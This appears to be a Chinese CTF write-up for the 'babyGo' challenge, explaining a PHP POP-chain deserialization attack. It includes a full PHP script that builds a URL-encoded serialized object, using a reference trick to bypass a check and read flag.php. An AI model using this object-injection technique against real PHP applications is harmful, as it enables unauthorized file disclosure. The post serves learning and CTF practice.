babyGo(安恒2019.1 pop链的构造)

周周练的时候看了一叶飘零师傅的博客才知道pop链的存在(还是太菜了啊),先来学习一下关于pop链的知识。
在这里插入图片描述
再看一看这道题目的baby类
在这里插入图片描述
也就是说这道题目中的类baby调用了sec类的read()方法。l
在这里插入图片描述
但是sec类的read()是一个安全函数,这时候发现cool类也存在一个read()方法,我们可以利用cool类的read()函数对flag.php进行读取。
在这里插入图片描述
这个时候就要利用最开始提到的pop链来调用cool类的read方法。构造的方法如下(将构造函数中的sec改为cool即可)
在这里插入图片描述

注意到cool类中read方法的判断语句$this->nice->aaa === $this->nice->bbb,而且$this->nice->aaa = $sth;变量aaa被一个未知量$sth赋值了。这个时候我们利用指针$a->bbb =&$a->aaa;这样bbb的值就能随着aaa的变化而变化,在线编译一下(其中amazing是一个序列化的空的baby类的对象)

<?php
class baby 
{   
    protected $skyobj;  
    public $aaa;
    public $bbb;
    function __construct() 
    {      
        $this->skyobj = new cool;
    }  
    function __toString()      
    {          
        if (isset($this->skyobj))  
            return $this->skyobj->read();      
    }  
}  

class cool 
{    
    public $filename='flag.php';     
    public $nice;
    public $amzing='O%3A4%3A%22baby%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00skyobj%22%3BO%3A4%3A%22cool%22%3A3%3A%7Bs%3A8%3A%22filename%22%3BN%3Bs%3A4%3A%22nice%22%3BN%3Bs%3A6%3A%22amzing%22%3BN%3B%7Ds%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BR%3A6%3B%7D'; 
    function read()      
    {   
        $this->nice = unserialize($this->amzing);
        $this->nice->aaa = $sth;
        if($this->nice->aaa === $this->nice->bbb)
        {
            $file = "./{$this->filename}";        
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "you must be joking!"; 
            }    
        }
    }  
}  
class sec 
{  
    function read()     
    {          
        return "it's so sec~~";      
    }  
}  
$a = new baby();
$a->bbb =&$a->aaa; 
$b=serialize($a);
echo urlencode($b);
?>

get方式传入结果,得到flag

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值